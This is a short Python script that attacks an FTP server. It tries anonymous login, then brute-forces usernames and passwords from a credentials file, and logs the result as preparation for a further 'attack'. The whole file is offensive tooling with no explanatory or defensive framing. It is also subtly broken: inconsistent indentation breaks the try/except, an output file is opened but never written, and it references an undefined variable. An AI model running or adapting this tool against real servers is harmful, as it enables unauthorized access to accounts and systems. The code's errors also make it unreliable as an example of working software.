import ftplib
import optparse

def anonLogin(hostname, port, output):
        
    try:
                f = open(output, 'w')
                ftp = ftplib.FTP()
                ftp.connect(hostname, port)
                ftp.login("anonymous", "me@your.com")
                print ("\n[*] " + str(hostname) + " FTP Anonymous Logon succeeded.")
                f.write
                ftp.quit()
                return True
        except Exception as e:
                print ("\n[-] " + str(hostname) + " FTP Anonymous Logon failed.")

                return False

def bruteLogin(hostname, port):
        pF = open("ftpcreds.txt", "r")
        for line in pF.readlines():
                userName = line.split(":")[0]
                passWord = line.split(":")[1].strip("\r").strip("\n")
                print ("[+] Trying: " + userName + "/"+passWord)
                try:
                        ftp = ftplib.FTP()
                        ftp.connect(hostname, port)
                        ftp.login(userName, passWord)
                        print ("\n[*] " + str(hostname) + " FTP Logon succeeded: " + userName + "/"+passWord)
                        ftp.quit()
                        return (userName, passWord)
                except Exception as e:
                        pass
        print ("\n[-] Can not brute-force FTP credentials.")
        return (None, None)


def main():
    parser = optparse.OptionParser("Usage requires -H <target host> -p <port> ")
    parser.add_option("-H", dest="tgtHosts", type="string", help="specify the host")
    parser.add_option("-p", dest="port", type="int", help="specify port")
    parser.add_option("-o", dest="output", type="string", help="output file")
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHosts
    port = options.port
    output = options.output
    if tgtHost == None:
        print(parser.usage)
        exit(0)

    if anonLogin(tgtHost, port, output) == True:
        username = "anonymous"
        password = "me@your.com"
        print ("[+] Using anonymous creds to attack")
        #attack(username, password, tgtHost, redirect)
    else:
        bruteLogin(tgtHost, port)



if __name__ == "__main__":
    main()
